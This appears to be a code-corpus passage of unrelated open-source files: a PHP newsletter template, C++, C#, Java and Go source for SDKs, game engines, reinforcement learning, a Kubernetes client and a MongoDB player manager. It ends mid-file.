width="87" valign="top"><a href="http://www.edegraca.com.br/index.php?id=<?php echo $dados1['id'];?>&p=<?php echo $dados1['posicao'];?>"><img src="images/btn-veroferta.jpg" width="94" height="49" border="0" /></a></td> <td width="139"><table width="95%" border="0" cellspacing="0" cellpadding="0"> <tr> <td align="right" valign="top" style="color:#fff"><span style="color:#a6c613; font-size:12px; font">De R$ <?php echo $dados1['valor'];?> por</span></td> </tr> <tr> <?php $valor = explode(",", $dados1['valorpromocao']); //var_dump($valor); if(empty($valor[0]) || empty($valor[1])){ $valor = explode(".", $dados1['valorpromocao']); $inteiro = $valor[0]; $decimal = $valor[1]; }else{ $inteiro = $valor[0]; $decimal = $valor[1]; } ?> <td align="right" valign="top" style="color:#fff; font-size:18px">R$<?php echo $inteiro;?>,<sup style="font-size:12px"><?php echo $decimal;?></sup></td> </tr> </table></td> </tr> </table> </td> <td width="17">&nbsp;</td> </tr> </table></td> </tr> <tr> <td height="11"><img src="http://www.edegraca.com.br/newsletter-html/images/promo-price-bottom.jpg" width="275" height="11" /></td> </tr> </table> </td> <?php } ?> </tr> </table> <br /> <table width="100%" border="0" cellspacing="10" cellpadding="0"> <tr> <td><table width="100%" border="0" cellspacing="0" cellpadding="0"> <?php $contador = 1; foreach($oferta2['oferta'] as $dados2){ if($contador == 1){ ?> <tr> <?php }?> <td><table width="178" border="0" cellspacing="0" cellpadding="0" class="promopequena"> <tr> <td><span style="color:#3a5403; font-size:11px; font-weight:bold"><?php $ofetatxt = str_replace("[span]","<span>",$dados2["titulo"]); $ofetatxt = str_replace("[/span]","</span>",$ofetatxt); echo abreviaString($ofetatxt,110);?><br /> </span></td> </tr> <tr> <td><img src="http://www.edegraca.com.br/newsletter-html/images/p-top.jpg" alt="" width="178" height="15" /></td> </tr> <tr> <td><table width="178" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="15"><img src="http://www.edegraca.com.br/newsletter-html/images/p-left.jpg" alt="" width="15" height="101" /></td> <?php $respimagem = $objOferta->getOfertaImagem($dados2['id'],"id_oferta");?> <td><img src="http://www.edegraca.com.br/administrator/uploads/<?php echo $respimagem['image']?>" alt="" width="145" height="101" /></td> <td width="18"><img src="http://www.edegraca.com.br/newsletter-html/images/p-right.jpg" alt="" width="18" height="101" /></td> </tr> </table></td> </tr> <tr> <td height="7"><img src="http://www.edegraca.com.br/newsletter-html/images/p-bottom.jpg" alt="" width="178" height="7" /></td> </tr> <tr> <td height="5"></td> </tr> <tr> <td><table width="178" border="0" cellspacing="0" cellpadding="0"> <tr> <td><img src="http://www.edegraca.com.br/newsletter-html/images/p-preco-up.jpg" alt="" width="178" height="6" /></td> </tr> <tr> <td><table width="178" border="0" cellspacing="0" cellpadding="0"> <tr> <td>&nbsp;</td> <td width="159" bgcolor="#446008"><table width="100%" border="0" cellspacing="5" cellpadding="0"> <tr> <td width="42%"><a href="http://www.edegraca.com.br/index.php?id=<?php echo $dados2['id'];?>&p=<?php echo $dados2['posicao'];?>"><img src="http://www.edegraca.com.br/newsletter-html/images/btn-ver.jpg" alt="" width="60" height="34" hspace="0" vspace="0" border="0" /></a></td> <td width="58%" align="right" valign="middle" style="color:#fff; font-family:'Trebuchet MS', Arial, Helvetica, sans-serif; font-size:15px"><span style=" font-size:11px" >De <?php echo $dados2['valor'];?> por<br /> </span> <?php $valor = explode(",", $dados2['valorpromocao']); //var_dump($valor); if(empty($valor[0]) || empty($valor[1])){ $valor = explode(".", $dados2['valorpromocao']); $inteiro = $valor[0]; $decimal = $valor[1]; }else{ $inteiro = $valor[0]; $decimal = $valor[1]; } ?> <span style="color:#bde105">R$ <?php echo $inteiro;?>,<span style=" margin:0 0 3px 0; font-size:12px"><?php echo $decimal;?></span></span><br /> </td> </tr> </table></td> <td>&nbsp;</td> </tr> </table></td> </tr> <tr> <td><img src="http://www.edegraca.com.br/newsletter-html/images/p-preco-down.jpg" alt="" width="178" height="25" /></td> </tr> </table></td> </tr> </table></td> <?php if($contador == 3){?> </tr> <?php $contador =0; } $contador++; } ?> </tr> </table></td> </table></td> </tr> </table> </td> </tr> <tr> <td><a href="http://www.edegraca.com.br" target="_blank"><img src="images/footer.jpg" width="600" height="112" alt="footer" /></a></td> </tr> </table> </td> </tr> <tbody> </tbody> </table> </body> </html>
EliakimRamos/3d3gr4c4
newsletter-html/newsletter.php
PHP
apache-2.0
10,869
// // Preferences.cpp // // $Id: //poco/1.7/OSP/samples/Preferences/src/Preferences.cpp#1 $ // // Copyright (c) 2007-2016, Applied Informatics Software Engineering GmbH. // All rights reserved. // // SPDX-License-Identifier: Apache-2.0 // #include "Poco/OSP/BundleActivator.h" #include "Poco/OSP/BundleContext.h" #include "Poco/OSP/Bundle.h" #include "Poco/OSP/ServiceRegistry.h" #include "Poco/OSP/PreferencesService.h" #include "Poco/OSP/Preferences.h" #include "Poco/OSP/ServiceRef.h" #include "Poco/DateTime.h" #include "Poco/DateTimeFormatter.h" #include "Poco/DateTimeFormat.h" #include "Poco/AutoPtr.h" #include "Poco/ClassLibrary.h" using Poco::OSP::BundleActivator; using Poco::OSP::BundleContext; using Poco::OSP::Bundle; using Poco::OSP::PreferencesService; using Poco::OSP::Preferences; using Poco::OSP::ServiceRef; using Poco::DateTime; using Poco::DateTimeFormatter; using Poco::DateTimeFormat; using Poco::AutoPtr; class PreferencesBundleActivator: public BundleActivator /// A very simple bundle that shows the usage /// of the PreferencesService. { public: PreferencesBundleActivator() { } ~PreferencesBundleActivator() { } void start(BundleContext::Ptr pContext) { // find PreferencesService using the Service Registry ServiceRef::Ptr pPrefsSvcRef = pContext->registry().findByName("osp.core.preferences"); if (pPrefsSvcRef) { // PreferencesService is available AutoPtr<PreferencesService> pPrefsSvc = pPrefsSvcRef->castedInstance<PreferencesService>(); // Get the preferences for our bundle _pPrefs = pPrefsSvc->preferences(pContext->thisBundle()->symbolicName()); // Do something with the preferences std::string lastStartup = _pPrefs->getString("lastStartup", "never"); std::string lastShutdown = _pPrefs->getString("lastShutdown", "never"); pContext->logger().information(std::string("Last startup at: ") + lastStartup); pContext->logger().information(std::string("Last shutdown at: ") + lastShutdown); DateTime now; std::string dateStr = DateTimeFormatter::format(now, DateTimeFormat::SORTABLE_FORMAT); _pPrefs->setString("lastStartup", dateStr); } else { // The service is not available pContext->logger().error("The PreferencesService is not available."); } } void stop(BundleContext::Ptr pContext) { if (_pPrefs) { DateTime now; std::string dateStr = DateTimeFormatter::format(now, DateTimeFormat::SORTABLE_FORMAT); _pPrefs->setString("lastShutdown", dateStr); } } private: AutoPtr<Preferences> _pPrefs; }; POCO_BEGIN_MANIFEST(BundleActivator) POCO_EXPORT_CLASS(PreferencesBundleActivator) POCO_END_MANIFEST
nextsmsversion/macchina.io
platform/OSP/samples/Preferences/src/Preferences.cpp
C++
apache-2.0
2,650
/* * Copyright 2010-2014 Amazon.com, Inc. or its affiliates. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"). * You may not use this file except in compliance with the License. * A copy of the License is located at * * http://aws.amazon.com/apache2.0 * * or in the "license" file accompanying this file. This file is distributed * on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either * express or implied. See the License for the specific language governing * permissions and limitations under the License. */ /* * Do not modify this file. This file is generated from the ec2-2015-04-15.normal.json service model. */ using System; using System.Collections.Generic; using System.Globalization; using System.IO; using System.Net; using System.Text; using System.Xml.Serialization; using Amazon.EC2.Model; using Amazon.Runtime; using Amazon.Runtime.Internal; using Amazon.Runtime.Internal.Transform; using Amazon.Runtime.Internal.Util; namespace Amazon.EC2.Model.Internal.MarshallTransformations { /// <summary> /// Response Unmarshaller for BundleInstance operation /// </summary> public class BundleInstanceResponseUnmarshaller : EC2ResponseUnmarshaller { /// <summary> /// Unmarshaller the response from the service to the response class. /// </summary> /// <param name="context"></param> /// <returns></returns> public override AmazonWebServiceResponse Unmarshall(XmlUnmarshallerContext context) { BundleInstanceResponse response = new BundleInstanceResponse(); int originalDepth = context.CurrentDepth; int targetDepth = originalDepth + 1; if (context.IsStartOfDocument) targetDepth = 2; while (context.ReadAtDepth(originalDepth)) { if (context.IsStartElement || context.IsAttribute) { if (context.TestExpression("bundleInstanceTask", targetDepth)) { var unmarshaller = BundleTaskUnmarshaller.Instance; response.BundleTask = unmarshaller.Unmarshall(context); continue; } } } return response; } /// <summary> /// Unmarshaller error response to exception. /// </summary> /// <param name="context"></param> /// <param name="innerException"></param> /// <param name="statusCode"></param> /// <returns></returns> public override AmazonServiceException UnmarshallException(XmlUnmarshallerContext context, Exception innerException, HttpStatusCode statusCode) { ErrorResponse errorResponse = ErrorResponseUnmarshaller.GetInstance().Unmarshall(context); return new AmazonEC2Exception(errorResponse.Message, innerException, errorResponse.Type, errorResponse.Code, errorResponse.RequestId, statusCode); } private static BundleInstanceResponseUnmarshaller _instance = new BundleInstanceResponseUnmarshaller(); internal static BundleInstanceResponseUnmarshaller GetInstance() { return _instance; } /// <summary> /// Gets the singleton. /// </summary> public static BundleInstanceResponseUnmarshaller Instance { get { return _instance; } } } }
mwilliamson-firefly/aws-sdk-net
sdk/src/Services/EC2/Generated/Model/Internal/MarshallTransformations/BundleInstanceResponseUnmarshaller.cs
C#
apache-2.0
3,566
package net.swiftos.eventposter.core; import android.app.Application; import net.swiftos.eventposter.factory.HandlerFactory; import net.swiftos.eventposter.modules.activitylife.handler.ActivityLifeHandler; import net.swiftos.eventposter.template.IHandler; /** * Created by gy939 on 2016/10/3. */ public class EventPoster { private static Application app; public static <T extends IHandler> T with(Class<T> handlerType){ IHandler handler = HandlerFactory.getHandler(handlerType); if (handler == null) return null; return (T) handler; } public static void register(Object object){ Injecter.inject(object); } public static void unRegister(Object object){ Injecter.remove(object); } public static void registerDeep(Object object){ Injecter.injectDeep(object); } public static void unRegisterDeep(Object object){ Injecter.removeDeep(object); } public static void init(Application application){ app = application; HandlerFactory.getHandler(ActivityLifeHandler.class).init(application); } public static void destroy(Application application){ app = null; HandlerFactory.getHandler(ActivityLifeHandler.class).destroy(application); } public static Application getApp(){ return app; } public static void preLoad(final Class[] classes){ new Thread(new Runnable() { @Override public void run() { for (Class clazz:classes){ Injecter.load(null,clazz); } } }).start(); } public static void preLoadDeep(final Class[] classes){ new Thread(new Runnable() { @Override public void run() { for (Class clazz:classes){ Injecter.loadDeep(null,clazz); } } }).start(); } }
ganyao114/SwiftAndroid
eventposter/src/main/java/net/swiftos/eventposter/core/EventPoster.java
Java
apache-2.0
1,951
package burlap.domain.singleagent.gridworld; import burlap.domain.singleagent.gridworld.state.GridWorldState; import burlap.mdp.core.action.Action; import burlap.mdp.core.state.State; import burlap.mdp.singleagent.model.RewardFunction; /** * This class is used for defining reward functions in grid worlds that are a function of cell of the world to which * the agent transitions. That is, a double matrix (called rewardMatrix) the size of the grid world is stored. In an agent transitions * to cell x,y, then they will receive the double value stored in rewardMatrix[x][y]. The rewards returned for transitioning to an agent position * may be set with the {@link #setReward(int, int, double)} method. * <p> * This reward function is useful for simple grid worlds without any location objects or worlds for which the rewards are independent * of location objects. An alternative to this class is to define worlds with location objects and use the atLocation propositional function * and location types to define rewards. * @author James MacGlashan * */ public class GridWorldRewardFunction implements RewardFunction { protected double [][] rewardMatrix; protected int width; protected int height; /** * Initializes the reward function for a grid world of size width and height and initializes the reward values everywhere to initializingReward. * The reward returned from specific agent positions may be changed with the {@link #setReward(int, int, double)} method. * @param width the width of the grid world * @param height the height of the grid world * @param initializingReward the reward to which all agent position transitions are initialized to return. */ public GridWorldRewardFunction(int width, int height, double initializingReward){ this.initialize(width, height, initializingReward); } /** * Initializes the reward function for a grid world of size width and height and initializes the reward values everywhere to 0. * The reward returned from specific agent positions may be changed with the {@link #setReward(int, int, double)} method. * @param width the width of the grid world * @param height the height of the grid world */ public GridWorldRewardFunction(int width, int height){ this(width, height, 0.); } /** * Initializes the reward matrix. * @param width the width of the grid world * @param height the height of the grid world * @param initializingReward the reward to which all agent position transitions are initialized to return. */ protected void initialize(int width, int height, double initializingReward){ this.rewardMatrix = new double[width][height]; this.width = width; this.height = height; for(int i = 0; i < this.width; i++){ for(int j = 0; j < this.height; j++){ this.rewardMatrix[i][j] = initializingReward; } } } /** * Returns the reward matrix this reward function uses. Changes to the returned matrix *will* change this reward function. * rewardMatrix[x][y] specifies the reward the agent will receive for transitioning to position x,y. * @return the reward matrix this reward function uses */ public double [][] getRewardMatrix(){ return this.rewardMatrix; } /** * Sets the reward the agent will receive to transitioning to position x, y * @param x the x position * @param y the y position * @param r the reward the agent will receive to transitioning to position x, y */ public void setReward(int x, int y, double r){ this.rewardMatrix[x][y] = r; } /** * Returns the reward this reward function will return when the agent transitions to position x, y. * @param x the x position * @param y the y position * @return the reward this reward function will return when the agent transitions to position x, y. */ public double getRewardForTransitionsTo(int x, int y){ return this.rewardMatrix[x][y]; } @Override public double reward(State s, Action a, State sprime) { int x = ((GridWorldState)sprime).agent.x; int y = ((GridWorldState)sprime).agent.y; if(x >= this.width || x < 0 || y >= this.height || y < 0){ throw new RuntimeException("GridWorld reward matrix is only defined for a " + this.width + "x" + this.height +" world, but the agent transitioned to position (" + x + "," + y + "), which is outside the bounds."); } double r = this.rewardMatrix[x][y]; return r; } }
jmacglashan/burlap
src/main/java/burlap/domain/singleagent/gridworld/GridWorldRewardFunction.java
Java
apache-2.0
4,390
/******************************************************************************* * Copyright 2016 Intuit * <p> * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * <p> * http://www.apache.org/licenses/LICENSE-2.0 * <p> * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *******************************************************************************/ package com.intuit.wasabi.repository; import com.intuit.wasabi.authenticationobjects.UserInfo; import com.intuit.wasabi.experimentobjects.Experiment; import java.util.List; /** * Handles favorites inside the database. */ public interface FavoritesRepository { /** * Retrieves the list of favorites. * * @param username the requesting user * @return the list of favorites */ List<Experiment.ID> getFavorites(UserInfo.Username username); /** * Adds an experiment ID to the favorites. * * @param username the requesting user * @param experimentID the experiment to favorite * @return the updated list of favorites * @throws RepositoryException if the favorites can not be updated */ List<Experiment.ID> addFavorite(UserInfo.Username username, Experiment.ID experimentID) throws RepositoryException; /** * Removes an experiment from the favorites. * * @param username the requesting user * @param experimentID the experiment to unfavorite * @return the updated list of favorites * @throws RepositoryException if the favorites can not be updated */ List<Experiment.ID> deleteFavorite(UserInfo.Username username, Experiment.ID experimentID) throws RepositoryException; }
intuit/wasabi
modules/repository-datastax/src/main/java/com/intuit/wasabi/repository/FavoritesRepository.java
Java
apache-2.0
2,054
/* Copyright 2022 The Kubernetes Authors. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package io.kubernetes.client.openapi.models; /** Generated */ public interface V2MetricStatusFluent< A extends io.kubernetes.client.openapi.models.V2MetricStatusFluent<A>> extends io.kubernetes.client.fluent.Fluent<A> { /** * This method has been deprecated, please use method buildContainerResource instead. * * @return The buildable object. */ @java.lang.Deprecated public io.kubernetes.client.openapi.models.V2ContainerResourceMetricStatus getContainerResource(); public io.kubernetes.client.openapi.models.V2ContainerResourceMetricStatus buildContainerResource(); public A withContainerResource( io.kubernetes.client.openapi.models.V2ContainerResourceMetricStatus containerResource); public java.lang.Boolean hasContainerResource(); public io.kubernetes.client.openapi.models.V2MetricStatusFluent.ContainerResourceNested<A> withNewContainerResource(); public io.kubernetes.client.openapi.models.V2MetricStatusFluent.ContainerResourceNested<A> withNewContainerResourceLike( io.kubernetes.client.openapi.models.V2ContainerResourceMetricStatus item); public io.kubernetes.client.openapi.models.V2MetricStatusFluent.ContainerResourceNested<A> editContainerResource(); public io.kubernetes.client.openapi.models.V2MetricStatusFluent.ContainerResourceNested<A> editOrNewContainerResource(); public io.kubernetes.client.openapi.models.V2MetricStatusFluent.ContainerResourceNested<A> editOrNewContainerResourceLike( io.kubernetes.client.openapi.models.V2ContainerResourceMetricStatus item); /** * This method has been deprecated, please use method buildExternal instead. * * @return The buildable object. */ @java.lang.Deprecated public io.kubernetes.client.openapi.models.V2ExternalMetricStatus getExternal(); public io.kubernetes.client.openapi.models.V2ExternalMetricStatus buildExternal(); public A withExternal(io.kubernetes.client.openapi.models.V2ExternalMetricStatus external); public java.lang.Boolean hasExternal(); public io.kubernetes.client.openapi.models.V2MetricStatusFluent.ExternalNested<A> withNewExternal(); public io.kubernetes.client.openapi.models.V2MetricStatusFluent.ExternalNested<A> withNewExternalLike(io.kubernetes.client.openapi.models.V2ExternalMetricStatus item); public io.kubernetes.client.openapi.models.V2MetricStatusFluent.ExternalNested<A> editExternal(); public io.kubernetes.client.openapi.models.V2MetricStatusFluent.ExternalNested<A> editOrNewExternal(); public io.kubernetes.client.openapi.models.V2MetricStatusFluent.ExternalNested<A> editOrNewExternalLike(io.kubernetes.client.openapi.models.V2ExternalMetricStatus item); /** * This method has been deprecated, please use method buildObject instead. * * @return The buildable object. */ @java.lang.Deprecated public io.kubernetes.client.openapi.models.V2ObjectMetricStatus getObject(); public io.kubernetes.client.openapi.models.V2ObjectMetricStatus buildObject(); public A withObject(io.kubernetes.client.openapi.models.V2ObjectMetricStatus _object); public java.lang.Boolean hasObject(); public io.kubernetes.client.openapi.models.V2MetricStatusFluent.ObjectNested<A> withNewObject(); public io.kubernetes.client.openapi.models.V2MetricStatusFluent.ObjectNested<A> withNewObjectLike( io.kubernetes.client.openapi.models.V2ObjectMetricStatus item); public io.kubernetes.client.openapi.models.V2MetricStatusFluent.ObjectNested<A> editObject(); public io.kubernetes.client.openapi.models.V2MetricStatusFluent.ObjectNested<A> editOrNewObject(); public io.kubernetes.client.openapi.models.V2MetricStatusFluent.ObjectNested<A> editOrNewObjectLike(io.kubernetes.client.openapi.models.V2ObjectMetricStatus item); /** * This method has been deprecated, please use method buildPods instead. * * @return The buildable object. */ @java.lang.Deprecated public io.kubernetes.client.openapi.models.V2PodsMetricStatus getPods(); public io.kubernetes.client.openapi.models.V2PodsMetricStatus buildPods(); public A withPods(io.kubernetes.client.openapi.models.V2PodsMetricStatus pods); public java.lang.Boolean hasPods(); public io.kubernetes.client.openapi.models.V2MetricStatusFluent.PodsNested<A> withNewPods(); public io.kubernetes.client.openapi.models.V2MetricStatusFluent.PodsNested<A> withNewPodsLike( io.kubernetes.client.openapi.models.V2PodsMetricStatus item); public io.kubernetes.client.openapi.models.V2MetricStatusFluent.PodsNested<A> editPods(); public io.kubernetes.client.openapi.models.V2MetricStatusFluent.PodsNested<A> editOrNewPods(); public io.kubernetes.client.openapi.models.V2MetricStatusFluent.PodsNested<A> editOrNewPodsLike( io.kubernetes.client.openapi.models.V2PodsMetricStatus item); /** * This method has been deprecated, please use method buildResource instead. * * @return The buildable object. */ @java.lang.Deprecated public io.kubernetes.client.openapi.models.V2ResourceMetricStatus getResource(); public io.kubernetes.client.openapi.models.V2ResourceMetricStatus buildResource(); public A withResource(io.kubernetes.client.openapi.models.V2ResourceMetricStatus resource); public java.lang.Boolean hasResource(); public io.kubernetes.client.openapi.models.V2MetricStatusFluent.ResourceNested<A> withNewResource(); public io.kubernetes.client.openapi.models.V2MetricStatusFluent.ResourceNested<A> withNewResourceLike(io.kubernetes.client.openapi.models.V2ResourceMetricStatus item); public io.kubernetes.client.openapi.models.V2MetricStatusFluent.ResourceNested<A> editResource(); public io.kubernetes.client.openapi.models.V2MetricStatusFluent.ResourceNested<A> editOrNewResource(); public io.kubernetes.client.openapi.models.V2MetricStatusFluent.ResourceNested<A> editOrNewResourceLike(io.kubernetes.client.openapi.models.V2ResourceMetricStatus item); public java.lang.String getType(); public A withType(java.lang.String type); public java.lang.Boolean hasType(); /** Method is deprecated. use withType instead. */ @java.lang.Deprecated public A withNewType(java.lang.String original); public interface ContainerResourceNested<N> extends io.kubernetes.client.fluent.Nested<N>, io.kubernetes.client.openapi.models.V2ContainerResourceMetricStatusFluent< io.kubernetes.client.openapi.models.V2MetricStatusFluent.ContainerResourceNested<N>> { public N and(); public N endContainerResource(); } public interface ExternalNested<N> extends io.kubernetes.client.fluent.Nested<N>, io.kubernetes.client.openapi.models.V2ExternalMetricStatusFluent< io.kubernetes.client.openapi.models.V2MetricStatusFluent.ExternalNested<N>> { public N and(); public N endExternal(); } public interface ObjectNested<N> extends io.kubernetes.client.fluent.Nested<N>, io.kubernetes.client.openapi.models.V2ObjectMetricStatusFluent< io.kubernetes.client.openapi.models.V2MetricStatusFluent.ObjectNested<N>> { public N and(); public N endObject(); } public interface PodsNested<N> extends io.kubernetes.client.fluent.Nested<N>, io.kubernetes.client.openapi.models.V2PodsMetricStatusFluent< io.kubernetes.client.openapi.models.V2MetricStatusFluent.PodsNested<N>> { public N and(); public N endPods(); } public interface ResourceNested<N> extends io.kubernetes.client.fluent.Nested<N>, io.kubernetes.client.openapi.models.V2ResourceMetricStatusFluent< io.kubernetes.client.openapi.models.V2MetricStatusFluent.ResourceNested<N>> { public N and(); public N endResource(); } }
kubernetes-client/java
fluent/src/main/java/io/kubernetes/client/openapi/models/V2MetricStatusFluent.java
Java
apache-2.0
8,415
/** * Copyright 2008 - 2012 * * Licensed under the Apache License, Version 2.0 (the "License"); you may not * use this file except in compliance with the License. You may obtain a copy of * the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the * License for the specific language governing permissions and limitations under * the License. * * @project loon * @author cping * @email:javachenpeng@yahoo.com * @version 0.3.3 */ package loon.action.sprite.painting; import loon.LInput; import loon.LKey; import loon.LTouch; import loon.action.sprite.SpriteBatch; import loon.core.LRelease; import loon.core.geom.Vector2f; import loon.core.timer.GameTime; import loon.utils.MathUtils; public abstract class Drawable implements LRelease { public boolean IsPopup = false; public float transitionOnTime = 0; public float transitionOffTime = 0; public Vector2f bottomLeftPosition = new Vector2f(); public DrawableScreen drawableScreen; boolean otherScreenHasFocus; protected float _transitionPosition = 1f; protected DrawableState _drawableState = DrawableState.TransitionOn; protected boolean _enabled = true; protected boolean _isExiting = false; public DrawableScreen getDrawableScreen() { return drawableScreen; } public void exitScreen() { if (this.transitionOffTime == 0f) { this.drawableScreen.removeDrawable(this); } else { this._isExiting = true; } } public Vector2f getBottomLeftPosition() { return bottomLeftPosition; } public DrawableState getDrawableState() { return _drawableState; } public void setDrawableState(DrawableState state) { _drawableState = state; } public float getTransitionAlpha() { return (1f - this._transitionPosition); } public float getTransitionPosition() { return _transitionPosition; } public abstract void handleInput(LInput input); public boolean isActive() { return !otherScreenHasFocus && (_drawableState == DrawableState.TransitionOn || _drawableState == DrawableState.Active); } public boolean isExiting() { return _isExiting; } public abstract void loadContent(); public abstract void unloadContent(); public abstract void draw(SpriteBatch batch, GameTime elapsedTime); public abstract void update(GameTime elapsedTime); public void update(GameTime gameTime, boolean otherScreenHasFocus, boolean coveredByOtherScreen) { this.otherScreenHasFocus = otherScreenHasFocus; if (this._isExiting) { this._drawableState = DrawableState.TransitionOff; if (!this.updateTransition(gameTime, this.transitionOffTime, 1)) { this.drawableScreen.removeDrawable(this); } } else if (coveredByOtherScreen) { if (this.updateTransition(gameTime, this.transitionOffTime, 1)) { this._drawableState = DrawableState.TransitionOff; } else { this._drawableState = DrawableState.Hidden; } } else if (this.updateTransition(gameTime, this.transitionOnTime, -1)) { this._drawableState = DrawableState.TransitionOn; } else { this._drawableState = DrawableState.Active; } update(gameTime); } private boolean updateTransition(GameTime gameTime, float time, int direction) { float num; if (time == 0f) { num = 1f; } else { num = (gameTime.getElapsedGameTime() / time); } this._transitionPosition += num * direction; if (((direction < 0) && (this._transitionPosition <= 0f)) || ((direction > 0) && (this._transitionPosition >= 1f))) { this._transitionPosition = MathUtils.clamp( this._transitionPosition, 0f, 1f); return false; } return true; } public abstract void pressed(LTouch e); public abstract void released(LTouch e); public abstract void move(LTouch e); public abstract void pressed(LKey e); public abstract void released(LKey e); public boolean isEnabled() { return _enabled; } public void setEnabled(boolean e) { this._enabled = e; } public void dispose() { this._enabled = false; } }
cping/LGame
Java/old/OpenGL-1.0(old_ver)/Loon-backend-JavaSE/src/loon/action/sprite/painting/Drawable.java
Java
apache-2.0
4,167
package play import ( "gopkg.in/mgo.v2" "gopkg.in/mgo.v2/bson" "library/logger" "sync" . "types" ) var AllPlayerM = NewPlayersManager() type PlayerManager struct { Players map[IdString]*Player sync.Mutex } func NewPlayersManager() *PlayerManager { return &PlayerManager{ Players: make(map[IdString]*Player, 0), } } func (pm *PlayerManager) GetPlayer(userId IdString) (*Player, bool) { pm.Lock() p, ok := pm.Players[userId] pm.Unlock() return p, ok } func (pm *PlayerManager) AddPlayer(p *Player) { pm.Lock() pm.Players[p.UserId] = p pm.Unlock() } func (pm *PlayerManager) DelPlayer(userId IdString) { pm.Lock() delete(pm.Players, userId) pm.Unlock() } func (pm *PlayerManager) LoadAllFrommDb(session *mgo.Session) bool { c := session.Clone().DB(MONGO_DB_NAME).C(MONGO_COLLECTION_PLAYERS) remain, err := c.Count() total := remain if err != nil { logger.Error("Load Players From DataBase read count error: %s", err.Error()) return false } cursor, step := 0, 1000 for { if remain <= 0 { break } if remain < step { step = remain } players := make([]*Player, 0, step) err = c.Find(nil).Skip(cursor).Limit(step).All(&players) if err != nil { logger.Error("Load User From DataBase get data error: %s", err.Error()) return false } for _, player := range players { pm.Players[player.UserId] = player } cursor += step remain -= step } logger.Info("Load %d Players From DataBase", total) return true } func (pm *PlayerManager) LoadOneFromDb(session *mgo.Session, userId IdString) (*Player, bool) { if session == nil { return nil, false } var player *Player c := session.Clone().DB(MONGO_DB_NAME).C(MONGO_COLLECTION_PLAYERS) err := c.Find(bson.M{"userid": userId}).One(&player) if err != nil { logger.Info("Load Player %s From DataBase error: %s", userId, err.Error()) return nil, false } if player == nil { return nil, false } pm.AddPlayer(player) return player, true }
Leigh-Ma/gServer
src/game/server/play/playermanager.go
GO
apache-2.0
1,972
package net.catchpole.silicone.resource; // Copyright 2014 catchpole.net // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. import java.io.InputStream; /** */ public class ClasspathResourceSource implements ResourceSource { private Class resourceClass; public ClasspathResourceSource(Class resourceClass) { this.resourceClass = resourceClass; } public InputStream getResourceStream(String name) { return this.resourceClass.getResourceAsStream(name); } }
slipperyseal/silicone
silicone/src/main/java/net/catchpole/silicone/resource/ClasspathResourceSource.java
Java
apache-2.0
1,023
using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Windows.Forms; namespace UserInterface { public partial class SubjectForm : Form { MainMenu parent; public SubjectForm(MainMenu parent) { InitializeComponent(); this.parent = parent; } private void SubjectForm_Load(object sender, EventArgs e) { // TODO: This line of code loads data into the 'gradingsystemDataSet6.professor' table. You can move, or remove it, as needed. this.professorTableAdapter.Fill(this.gradingsystemDataSet6.professor); // TODO: This line of code loads data into the 'gradingsystemDataSet5.course' table. You can move, or remove it, as needed. this.courseTableAdapter.Fill(this.gradingsystemDataSet5.course); // TODO: This line of code loads data into the 'gradingsystemDataSet4.subject' table. You can move, or remove it, as needed. this.subjectTableAdapter.Fill(this.gradingsystemDataSet4.subject); } private void addSubject(object sender, EventArgs e) { try { if (txtSubjectCode.Text != "" && cboCourseCode.SelectedIndex != -1 && cboProfCode.SelectedIndex != -1) { subjectTableAdapter.addSubject(txtSubjectCode.Text, cboCourseCode.SelectedIndex, cboProfCode.SelectedIndex); MessageBox.Show("Successfully Added"); txtSubjectCode.Text = ""; cboCourseCode.SelectedIndex = -1; cboProfCode.SelectedIndex = -1; } else { MessageBox.Show("Please fill up all fields!"); } } catch (Exception err) { MessageBox.Show(err.Message); } } private void clearFields(object sender, EventArgs e) { txtSubjectCode.Text = ""; cboCourseCode.SelectedIndex = -1; cboProfCode.SelectedIndex = -1; } } }
Shin-Aska/GradingSystem-Prototype
UserInterface/UserInterface/SubjectForm.cs
C#
apache-2.0
2,237
/* * Copyright 2016-2021 52°North Spatial Information Research GmbH * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.n52.javaps.algorithm.annotation; import java.lang.reflect.AccessibleObject; import java.lang.reflect.Member; import java.lang.reflect.Type; import java.util.Objects; import org.n52.javaps.description.TypedDataDescription; import com.google.common.primitives.Primitives; /** * TODO JavaDoc * * @author Tom Kunicki, Christian Autermann */ abstract class AbstractDataBinding<M extends AccessibleObject & Member, D extends TypedDataDescription<?>> extends AnnotationBinding<M> { private D description; AbstractDataBinding(M member) { super(member); } public abstract Type getMemberType(); public Type getType() { return getMemberType(); } public Type getPayloadType() { Type type = getType(); if (isEnum(type)) { return String.class; } if (type instanceof Class<?>) { return Primitives.wrap((Class<?>) type); } return 